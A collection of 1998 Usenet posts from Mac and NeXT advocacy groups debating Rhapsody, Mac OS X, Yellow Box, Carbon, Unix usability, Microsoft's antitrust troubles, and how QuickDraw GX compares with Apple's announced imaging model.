> the unix-phobia is well founded.
I think that is exactly Apple's intention. That's probaby one reason
they've been reminding us for quite some time that Rhapsody wouldn't be a
consumer OS anytime soon.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 22:40:10 -0700
Message-ID: <see-below-1405982240100001@209.24.240.162>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355AF1CA.79FBB58C@milestonerdl.com>
In article <355AF1CA.79FBB58C@milestonerdl.com>, mark@milestonerdl.com wrote:
> Tapella wrote:
>
> > > Is there really such a Unix-phobia in the Mac-community?
> >
> > Well, I can't really see an elementary school class being interested
in using
> > Unix for anything. Can you?
>
> Apple ][ emulation and Web surfing/email are 2 off the top of my head.
And you
> can even use your Apple ]['s as a terminal to the Unix box..
>
> > What would a graphic artist use Unix for?
>
> Rendering comes to mind, right off the top of my head.
I'm not sure how that's using unix, other than that modern OS
underpinnings might make that task more efficient.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6jgk4q$aot@bgtnsc03.worldnet.att.net>
Control: cancel <6jgk4q$aot@bgtnsc03.worldnet.att.net>
Date: 15 May 1998 05:34:19 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6jgk4q$aot@bgtnsc03.worldnet.att.net>
Sender: !!Win@3DFX_Board.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 22:44:22 -0700
Message-ID: <see-below-1405982244230001@209.24.240.162>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com> <355A4185.4135@earthlink.net>
In article <355A4185.4135@earthlink.net>, skellener@earthlink.net wrote:
> M Rassbach wrote:
> > Adobe has a cross-platform product for Windows. To get them on YellowBox,
> > you need to offer more.
> >
> > More like OpenSTEP's Solaris/HP-UX under YellowBox and a newer market of
> > Linux. With newer markets, Adobe might make the jump.
>
> Yes, Yes!! Add Alpha NT and Merced in there too! YB for everyone!!
>
> Steve
Yes! Yellow Box/QuickTime/Java everywhere.
I have a feeling this is a big part of Apple's long-term plans.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 15 May 1998 04:09:52 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jgf6g$uqa$1@camel18.mindspring.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <355af407.0@206.25.228.5> <355AF1CA.79FBB58C@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <355AF1CA.79FBB58C@milestonerdl.com> M Rassbach,
mark@milestonerdl.com writes:
>> Well, I can't really see an elementary school class being interested in using
>> Unix for anything. Can you?
>
>Apple ][ emulation and Web surfing/email are 2 off the top of my head. And you
>can even use your Apple ]['s as a terminal to the Unix box..
There are several Apple II emulators for MacOS already
And web browsers. And email clients.
I like Unix, just not sure what your point is here.
MC
From: die.spammer@choking.on.your.own.feces.org (Dr_Bob)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Date: Thu, 14 May 1998 21:05:05 -0700
Organization: All USENET -- http://www.Supernews.com
Message-ID: <die.spammer-1405982105050001@du188.inow.com>
References: <6j65u1$c04$1@news.orbitworld.net> <nYv61.155$Q22.1604745@newsread.com> <355BA818.2C63@ibm.net>
In article <355BA818.2C63@ibm.net>, avon@ibm.net wrote:
>Nephilim wrote:
>>
>
>> Wake up and smell the coffee. Windows, no matter how unreliable and
>> unstable, is still a far superior O/S for the common man, and the average
>> small to medium business. How many people do you HONESTLY know of that
>> could run Unix? Those of us who can run Unix are the elite few. Most
>> people had a hard enough time with DOS. Then there is a matter of software.
>> It's just not there for Unix, BeOS, OS/2, Linux, etc. Microsloth has the
>> largest following for a reason, and it's not because they suck.
>
>It's because they took the ideas of the real innovators while saying
>"This is easy to use!" and did some quaint marketing.
>
>The Mac is a hell of a lot easier to use than Winblows and is
>considerably more efficient, despite some minor issues.
well, macos still has some serious issues, but I like it better than 95/NT.
>Then the problem lies with the common man. Whether by natural stupidity
>or someone's idea to make common man stupid, Microsoft took natural
>advantage.
A wise man once said "The two most common elements in the universe are
Hydrogen and Stupidity."
--
Dr. Bob
Nanjing' 38 Hiroshima' 45 Chelnobyel' 86 Windows' 95
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 22:50:18 -0700
Message-ID: <see-below-1405982250180001@209.24.240.162>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com>
In article <355B1D3F.27453C81@nospam.com>, Tim Triemstra
<nospam@nospam.com> wrote:
> Matthew Vaughan wrote:
>
> > Also, Rex's statement is incorrect. Developers went from a
> > start-from-scratch major rewrite, compile once, deploy elsewhere to a
> > minor touch up, compile once, deploy once situation.
>
> True, but how is touching up old Mac OS apps going to increase market
> share? I agree it is important, but if Apple doesn't stop making it
> sound like this is "the way" to the future for Apple, we'll never see
> any Yellow apps.
>
> > They still have the yellow box option as before.
>
> True, but will Yellow Run on anything other than Mac OS X (which will
> only run on Macs) in the next couple years? If not, then Yellow is just
> another API for the same system, so why bother with it at all, just
> write for Carbon...
Exactly. What I mean is: if Apple intends to abandon Yellow Box for Intel,
and already knows that Mac developers aren't keen on moving over to it
despite its advantages, why would they keep working on Yellow Box at all?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 22:54:27 -0700
Message-ID: <see-below-1405982254280001@209.24.240.162>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>
In article <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <rex-1405981551520001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> > :Even given the API-retraining time, [YB] probably still ends up better for
> > :a nontrivial-sized app, unless you already have lots of MacOS frameworks
> > :applicable to your app already written to leverage
>
> > Well that's the real problem now isn't it, Adobe, Metacreations,
> > Microsoft, Macromedia, etc. all have extensive application-specific
> > frameworks written.
>
> Which is why I never expected them to port to Yellow (unless on a
> product that differed significantly from their current offerings, which
> is unlikely) -- which is why Carbon is good.
>
> However, they may be able to integrate some Yellow stuff piecewise,
> depending on how Apple sets things up. I don't think they'll ever
> transition their core code completely over to Yellow -- the main
> advantage of Yellow is that it saves you enormous amounts of coding
> time, but they've already spent that time. The only other advantage is
> cross-platform, and most of them have that too -- it's not as clean as
> Yellow, but probably not worth porting hundreds of thousands of lines
> of code.
>
> Yellow will infiltrate the Mac market from the bottom up.
Yes, and I believe it will be doing the same thing in the Intel market.
Possibly in a smaller proportion of that market, but about the same in
absolute numbers.
Considering Yellow Box isn't going to be a smashing success
(adoption-wise) in the Mac-only market anytime soon, there's absolutely no
reason to abandon the Intel versions, because they can only help assure
its eventual success - Yellow Box is a long-term strategy for Apple, and
as such it's going to be cross-platform.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:09:20 -0700
Message-ID: <see-below-1405982109200001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <andyba-ya02408000R1305981500440001@news> <355B40BF.8108AF71@spamtoNull.com>
In article <355B40BF.8108AF71@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Andy Bates wrote:
> >
> > Incomplete? How? Buggy? All reports show that it is very stable. A let
> > down? It will offer everything it was supposed to, including a working blue
> > box.
>
> Great! So why the need for the "Mac OS 10" hoopla? If Rhapsody "will be"
> all you say at release, what's the point? This does little except to
> remove the focus from "Rhapsody" onto a future product. Regardless of
> how clear the situation seems to you, I submit it will do little more
> than confuse most everyone else.
This is a _developer_ conference we're talking about. Apple is speaking to
their developers, who are almost 100% _Macintosh_ developers. It's not at
all about what the future product will be, or how good its underpinnings
are, but whether their products are going be "blessed" in a modern OS.
Previously, there was no promise of this, and these developers were faced
with a 1-2 year major rewrite of all their software, or else sitting
inside a seperate window, with shared memory and cooperative multitasking
and emulated code. Now, that software only needs minor changes to work
well in this future system, with all the benefits. This makes the
developers very happy. Now they're less likely to eye the Windows market,
or worry about the huge expense of converting their products to a
currently-nonexistent market. This is really just buying Apple time, so
that Rhapsody has a chance to succeed in the long run.
> > Rhapsody will not meet users' expectations for running old apps with modern
> > OS features.
>
> I don't know of anyone who expected Rhapsody to do that. I think they
> expected Rhapsody to run legacy applications--period--just like they run
> under Mac OS, and that new applications written for Rhapsody would
> support and use the newer OS capabilities.
Correct. And Apple came to their senses and realized that that simply
wasn't acceptable for their consumer OS (actually, I think they knew this
all along, and tried to tell people, but everybody was jumping to
conclusions). Besides which, Rhapsody CR1 will already have this as of
September of this year. If it's good enough, then it will be smashing
success, won't it?
> > It's a PR spiel that is supported by the facts (i.e. Adobe).
>
>
> That's silly. Adobe never had enough of a completed Rhapsody to develop
> for. Expecting them to be "excited" over DR1 is crazy. Adobe's going to
> rush out and budget ten million to develop for Rhapsody based on DR1?
> Come on....
Exactly.
> It's a good thing they didn't, isn't it?
Not at all. They'd be just fine if they had. Rhapsody CR1 is coming out in
September of this year, those applications will run great on OS X, and
they will also run on Rhapsody for Intel and Yellow Box for Windows.
Yellow Box is clearly a central part of Apple's long term strategy.
> > Right. He's been refocusing on legacy support in a new OS, instead of a new
> > OS without legacy support. But the new OS is still there.
>
>
> Right. Rhapsody didn't have a blue box and no one ever heard of legacy
> application support for Rhapsody.
And there's no difference between applications running cooperatively
together in a in a shared-memory environment with emulated 68k code, and
running preemptively in their own address spaces using 100% native PPC
code?
> > Inasmuch as Rhapsody is a subset of Mac OS X, Rhapsody is also important to
> > the company.
>
> That's really funny considering how Rhapsody has yet to be released and
> "Mac OS 10" is scheduled for Q3 1999!....:) But why let time and
> substance cloud your thinking?
Ah, so Merced isn't important to Intel, and Windows 98 and NT 5 aren't
important to Microsoft. I see.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 15 May 1998 04:06:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jgf0l$fvt$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu>
In article <rmcassid-1305980120280001@dialin33423.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
> > You may argue that
> > Microsoft is perfecting the "perpetual revision machine", but that
> > can't last.
>
> Microsoft is perfecting the ultimate marketplace bottleneck. Virtually all
> paths from the internet and software houses to consumers cuts across MS's
> property. The DOJ needs to put in a right-of-way for a free market to
> result.
>
I think the legal term is "essential resource". Microsoft must allow
reasonable right-of-way. The problem comes in defining "reasonable".
> > If nothing else, Microsoft will run out of markets to
> > take over (sorry, bad joke). If you really want to punish Microsoft let
> > it turn itself into an IBM (can you imagine Bill Gate in a pin striped
suit?)
> > <shudder>
>
> Uh, maybe you aren't following things as closely as I am, but MS has no
> limit to the number of markets for them to take over.
Sorry for the distraction. I was trying to make a joke. I agree, Microsoft
has virtually unlimited growth potential. My point is, Microsoft as a
mega-corporation will not be the Microsoft of today. Most think it will
be worse. I think it will become an IBM or an Exxon. The conversion
process has already begun.
> I agree with you. However, the consensus now seems to be that competition
> == consumer protection in a reasonably large marketplace. That's why price
> fixing is illegal as well.
>
The wind blows in different directions at different times.
> > As you said earlier, no corporation has the "right" to success.
>
> It has the right to compete, but not succeed. MS is precluding
> corporations ability to compete. A small company in PA sells a service
> that delivers television program listings to users. They cannot compete
> any longer.
That is exactly the kind of argument the courts reject as a valid antitrust
argument. No company (even Microsoft) can be prevented from fairly competing
in a market. Many Ma & Pop grocery stores were destroyed by large
supermarkets. Blockbuster Video drove many small video stores out of
business. These kinds of propriators have attempted to sue and lost.
There is no right to the "ability to compete".
> > > As such, it would seem that MS has no defense.
> >
> > Defense against what? The Contempt case? They defended against that
> > quite well (IMO).
> >
> > The anti-trust case has not been brought yet (I know, "soon").
>
> I believe today's was breach of contract by Sun. There appears to be
> multiple anti-trust cases lined up.
>
The breach of contract with Sun is interesting too. I have been watching
that one. You do know Microsoft has counter-sued, right?
> > > MS's defense thus far has been public opinion.
> >
> > Sorry, I disagree. Microsoft has been mostly defending itself in the
courts.
> > They also have been winning (which hurts them in the public relations
> > department). Although I agree Microsoft has begun fighting in the public
> > arena. But it would be stretching things to say Microsoft started the war
> > on public opinion. The war was well underway when Senator Hatch held his
> > commitee hearings.
>
> By default anything that happens with Congress automatically gets a public
> tone to it, it's all public record. But MS isn't addressing Hatch, rather
> they seem to be countering with 'but all these people say...' which seems
> rather childish to me. MS's defense in the courts has been quite good, but
> the things that really hurt them are the 'to hell with Janet Reno' quality
> comments. There's almost no turning back from that point - their position
> wrt to the DOJ was made all too clear: 'We're above the law'.
>
I am looking forward to reading the quote in context.
Even, if true. It does not excuse the DOJ's activities where they
DEMONSTRATED a lack to respect for legal precedents, District Court rules
and Contract Law.
> > Hard to give up on the case, isn't it?
>
> I see your position, and agree with it but I think the magnitude of what
> MS is doing is seriously underestimated. Clearly a point is trying to be
> made here which is leading to anti-trust, yet MS isn't getting it and
> aren't backing down. While it's MS's position to do that, the ultimate
> outcome is beginning to be clear and so MS now begins to take an air of
> the bully that takes that one last punch even when his victim is clearly
> helpless.
>
As long as the DOJ continues to push the bad case, Microsoft is duty
bound to defend itself. Microsoft's demonstrated philosphy is to be
agressive in all endevors.
> > What about all the
> > other "separate products" in Windows9x? Are they in violation too?
Doesn't
> > the fact that Microsoft sells MSDOS separately, make it a separate
product?
> > Once you get past the separate install (and separate license), the line
> > gets very blurry, very quickly.
>
> Since 95 as it shipped in 95 seems to be clear from Consent issues, we can
> only look at the additions since then and I'm not aware of any other
> separate products beside IE.
This gets to be nit-picky and argumentative, but here goes...
In 95 Microsoft had Windows95 and the Plus Pack.
The Plus pack included Internet Explorer, Dial-up server, Drivespace3,
System Scheduler and 3D Pinball.
Eventually all of them were "integrated" into Windows95, except 3D Pinball.
There are lots of separate products in Windows9x.
> > This is where we really, really disagree. NO WAY. TABOO. NO EXCUSE.
> > The DOJ has NO BUSINESS using the court system to advance a political
> > agenda PERIOD.
>
> Yet MS will do this, and given the already flawed nature of the process,
> the DOJ would face a much tougher battle. Typically I'd agree with you,
> but the situation with MS has gone WAY too far already to let it go any
> further.
This boils down to the "ends justifies the means" argument.
If you admit to it, I will respect your opinion.
I just do not share it.
> > <snip>
> > > I think MS should fight the good fight. But MS sometimes goes further.
> >
> > Like when they win?
>
> No, like 'to hell with Janet Reno'. Like requiring licensees to report to
> MS what they will testify to when subpoenaed.
>
I am open to the possibility of the "to hell" comment. The NDA reporting
issue has been dealt with multiple times, even in Texas.
> > Seriously. In the Contempt Case, where did Microsoft cross the line?
> > I can give you several specific DOJ actions that crossed the line. Can
> > you give me one for Microsoft?
>
> Steve Ballmer.
>
I agree he may be a character, but is he a legal action too? <g>
> > Until Microsoft is proven to be a monopoly, there is no justification for
> > this kind of government intervention. The DOJ should have started the
> > anti-trust case a long time ago.
>
> Based on what? Based on a product that doesn't exist, that won't exist
> officially until this Friday. I don't think they have a choice but to
> wait.
>
What is so different about Windows98? If it is vital to the DOJ's case,
then, yes, the DOJ must allow it to be released BEFORE filing anti-trust
charges.
> Clearly MS is using it more effectively, they are still winning. Not sure
> how things will work out under anti-trust should it be filed, however. MS
> will have a tough time demonstrating that they are not a monopoly as they
> seem to fit the definition far better than almost anyone has in a very
> long time.
>
The DOJ has the burden of proof. Having 100% of a market is not a monopoly
if others can take it away from you. Microsoft's position is a lot more
shaky than many non-monopolies. We had a lot of interesting talk about
how Java and Netscape were going to make Windows irrelavent. If true, it
would provide a strong defense for Microsoft.
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 15 May 1998 04:14:13 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jgfel$uqa$3@camel18.mindspring.com>
References: <B17EAC79-91F44@206.165.43.165> <6je75g$pcj$2@news.idiom.com> <ericb-1405981139020001@132.236.171.104> <B18093E3-2D916@206.165.43.181>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6je3bc$k1g$1@larry.admin.phil.uu.nl> Freek Wiedijk,
freek@phil.uu.nl writes:
>>I wouldn't guess they'd retool YB just to use QuickDraw,
>
>Yes that seems unlikely, doesn't it? One of the reasons I
>still expect that Yellow will get pushed out of Mac OS X,
>after all.
>
>Freek
Since much of Rhapsody^H^H^H^H^HMacOS X is written with the yellow box,
exactly how likely is that?
MC
From: rkt1@cornell.eduz (Tapella)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 02:19:16 -0400
Organization: Cornell U.
Sender: rkt1@cornell.edu (Verified)
Message-ID: <rkt1-1505980219160001@cu-dialup-1206.cit.cornell.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355AF1CA.79FBB58C@milestonerdl.com>
In article <355AF1CA.79FBB58C@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Tapella wrote:
> > > Is there really such a Unix-phobia in the Mac-community?
> >
> > Well, I can't really see an elementary school class being interested
in using
> > Unix for anything. Can you?
>
> Apple ][ emulation and Web surfing/email are 2 off the top of my head.
And you
> can even use your Apple ]['s as a terminal to the Unix box..
You would use Unix for Apple // emulation? Why would you want to do that?
Just use an Apple //. You think an elementary school teacher wants to
bother learning how to get around a CLI when they're used to just running
stuff off a Mac or Apple //? This is what I'm talking about.
Don't misunderstand me, I know that Unix is alot more stable, powerful,
flexible, amazing, etc. than MacOS. But it's a *hell* of alot more
unfriendly, and that is exactly what 99% of Mac users care about. The MacOS
is more than powerful enough for its users, although obviously developers
and artist/publishing people could use some more buzzwords to speed up
their work.
This, by the way, is also why I can't see Linux penetrating past the
techie/hacker crowd and into the mainstream. It's just not friendly
enough, although it's improving. MacOS X offers the power of Unix
and the friendliness of the MacOS (although you have to poke around
for some of the Unix power). The "unix paranoia" is what keeps Apple
from announcing that they're just adding another set of APIs onto
Rhapsody and renaming it MacOS.
rkt.
Message-ID: <355B40BF.8108AF71@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <andyba-ya02408000R1305981500440001@news>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Thu, 14 May 1998 19:03:17 GMT
NNTP-Posting-Date: Thu, 14 May 1998 15:03:17 EDT
Andy Bates wrote:
>
> In article <35586F01.243A7BE3@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > But obviously, Apple isn't planning too terribly much for Rhapsody, is
> > it? That's fairly obvious.
>
> All they're planning is for it to be the core of Mac OS X.
Yep, in 18 months or so. Of course, around here time has no meaning
whatever...:) I seem to be one of a select few who believes that time is
of the essence...
>
> For development of new applications? It will be (and is) great.
> For porting of old applications? It isn't that great. But Mac OS X will be,
> and since that's what everyone is concerned about, that's what he's
> focusing on.
I think a lot of folks aside from me are growing weary with the "will
be" conditional state as it applies to the release of a capable Mac OS.
>
> Incomplete? How? Buggy? All reports show that it is very stable. A let
> down? It will offer everything it was supposed to, including a working blue
> box.
Great! So why the need for the "Mac OS 10" hoopla? If Rhapsody "will be"
all you say at release, what's the point? This does little except to
remove the focus from "Rhapsody" onto a future product. Regardless of
how clear the situation seems to you, I submit it will do little more
than confuse most everyone else.
>
> No, "switch" implies that he is removing something he promised. He isn't:
> Rhapsody will come out as announced, with all the features it's supposed
> to. Allegro and Sonata will come out with everything that was expected of
> them. All Mac OS X is doing is adding another release, without changing
> anything else.
We'll see, won't we? That's the operative word around here..."will be."
This conditional state is constantly confused with "is."
>
> Because developers are worried about getting next-generation features on
> their current apps. Mac OS X provides this. Adobe proved it.
Mac OS 10 isn't here yet. This proves nothing. *When* Mac OS 10 arrives,
*then* we'll see how companies react. Adobe wasn't too thrilled with DR1
Rhapsody mainly because there just wasn't that much for them to work
with in terms of the development of specific products. Rhapsody is only
now at DR2. If Rhapsody at release is everything you say it is, *then*
perhaps Adobe will become more interested. Which would you rather do if
you're hungry--eat a loaf of bread, or *talk* about eating it? I suspect
Adobe would rather eat it than talk about it. You can only do that when
you have the loaf in your possession.
>
> Rhapsody will not meet users' expectations for running old apps with modern
> OS features.
I don't know of anyone who expected Rhapsody to do that. I think they
expected Rhapsody to run legacy applications--period--just like they run
under Mac OS, and that new applications written for Rhapsody would
support and use the newer OS capabilities.
>
> Beta in less than nine months. Libraries to start coding in four months.
> With luck, they'll have apps ported over to Carbon by the time the first
> beta of X is released. If it only took 1.5 weeks to get a working
> Photoshop....
Release in Q3 1999!
Is this supposed to "excite" anybody? I can't see how. "Beta in nine
months"....Ha! And to think of all those people who think "Mac OS 10 is
only Rhapsody renamed." Indeed...:)
>
> It's a PR spiel that is supported by the facts (i.e. Adobe).
That's silly. Adobe never had enough of a completed Rhapsody to develop
for. Expecting them to be "excited" over DR1 is crazy. Adobe's going to
rush out and budget ten million to develop for Rhapsody based on DR1?
Come on....
It's a good thing they didn't, isn't it?
>
> Right. He's been refocusing on legacy support in a new OS, instead of a new
> OS without legacy support. But the new OS is still there.
Right. Rhapsody didn't have a blue box and no one ever heard of legacy
application support for Rhapsody.
What is this, parrot land? Are people capable of no more independent
thought and analysis other than to parrot every word that drools out of
Jobs' mouth?....:) Sorry, but that's the way it seems. Apple should
change "Think Different" to "Think Jobs".
>
> Inasmuch as Rhapsody is a subset of Mac OS X, Rhapsody is also important to
> the company.
That's really funny considering how Rhapsody has yet to be released and
"Mac OS 10" is scheduled for Q3 1999!....:) But why let time and
substance cloud your thinking?
>
> No promises have been broken in the last couple of years.
>
I don't think we live on the same plane...:)
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 14 May 1998 23:34:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1812FEC-45CCB@206.165.43.157>
To: ricfordw@macintouch.com, "AIMED-Talk" <aimed-talk@aimed.org>, "Bruce
Hoult" <brucehoult@clear.net.nz>, "GX-Talk" <gx-talk@aimed.org>,
"Don Crabb" <doncrabb@cs.uchicago.edu>, "Eric King"
<rex@smallandmighty.com>
nntp://news.primenet.com/comp.sys.mac.programmer.misc,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Um, Ric?
That's not GX, or anything much like GX, that was described in the letter
from Bruce Hoult. Here's a line-by-line rebuttal of the letter listed on
your web-site at <http://www.macintouch.com/m10imaging.html>.
[See below for a special challenge to Apple to prove my point to you and
the rest of the Mac community]
+++++
> Date: Fri, 15 May 1998 12:00:16 +1200 (NZST)
> To: MacInTouch News
> From: brucehoult@clear.net.nz (Bruce Hoult)
> Subject: WWDC imaging bombshell
> Just caught the graphics & imagining session and there's big news.
> - Display PostScript is not in MacOS X.
> - DPS and EPS not supported in Yellow (maybe Illustrator-type subset)
> - NXHosting is dead (got big boos)
> - there's a new "Enhanced QuickDraw" with a new type of grafport
> to go with it. It supports much of the PostScript (or GX, though
> no one mentioned that name) imaging model:
> - new QD calls have explicit port parameter
That is definitely not GX. No explicit port parameter is required with GX
-it's built into each graphical shape as part of the transform object. This
is very important for reasons that I won't try to explain here (but see
below).
> - other QD globals (forecolor etc) are per thread
ALL globals in GX are per shape-object.
> - 3x2 transformation matricies
Transforms in GX are 3x3, allowing perspective, including the ability to
type and edit text while in a perspective. This is built into the GX
graphics system. The 3x3 matrices used in QuickTime 3.0 are the same as
GX's if you need examples of what I mean. Check out the latest HyperCard
2.4 for how useful perspective can be, even in a 2D world. The sample
transform controller for the sample QT movie shows what GX 3x3 matrices can
do.
> - floating point coordinates
GX is fixed point (it's a religious arguement as to which is better on the
PPC, but on a 68K Macintosh there is no arguement whatsoever, which is why
the GX engineers used fixed point coordinates, and GX-based applications
work just fine on both PPC and 68K machines, allowing graphics
compatibility accross a wide range of Macintoshes).
> - scalable clipping regions (al la PostScript)
and GX does this also, but clipping regions are also part of the internal
"global" variables that each GX shape uses. No need to explicitly set them
when drawing.
> - transparency and alpha channels
GX has these, although GX's support for alpha channels doesn't appear to be
as robust as NeXTstep's Display PostScript, and presumeably as MacOS X
Bravo's is. GX has other color features that DPS/Bravo ("enhanced
QuickDraw") lack, however.
> - RGB, CMYK and abitrary number of components
GX only allows 4 components per pixel, but supports more than a dozen color
spaces and allows drawing to take place using a different color space than
the image is defined in. Each color component can have a different drawing
mode, making for some amazing effects that are only rivaled in the highest
of high-end DTP packages.
> - 16 bits per component/64 bit pixels
As with GX, although GX supports also 1-byte indexed pixels also (good for
games).
> - GX typography
Not ALL of GX typography will be supported in Carbon. That would require GX
graphics since many of the advanced features of GX use GX graphics
directly. Obviously, since GX is not supported, the GX-based features of GX
typography won't be, either. See below.
> - *all* drawing goes through colorsync, images are tagged with profiles
ColorSynch was *invented* for GX and all *individual* shape-objects have
their own colorsynch profile, which can be shared with more than one
shape-object or group of shape-objects, including every shape-object (the
default case).
> - there was *no* mention of a GX-style retained mode
That's the heart and soul of GX, so obviously this isn't anything like GX.
The retained-mode "style" of GX makes GX the most powerful, widely
distributed, 2D graphics engine on any mainstream computer.
> - window refresh comes in three styles
> - unbuffered (current MacOS)
> - fully buffered (current Rhapsody)
> - only hidden portions buffered, other drawing direct to screen
All three of those are already supported in Rhaposdy. Those are not
graphical issues in Rhaposdy but framework issues that could easily be
added to GX-based applications via a framework that was designed around GX
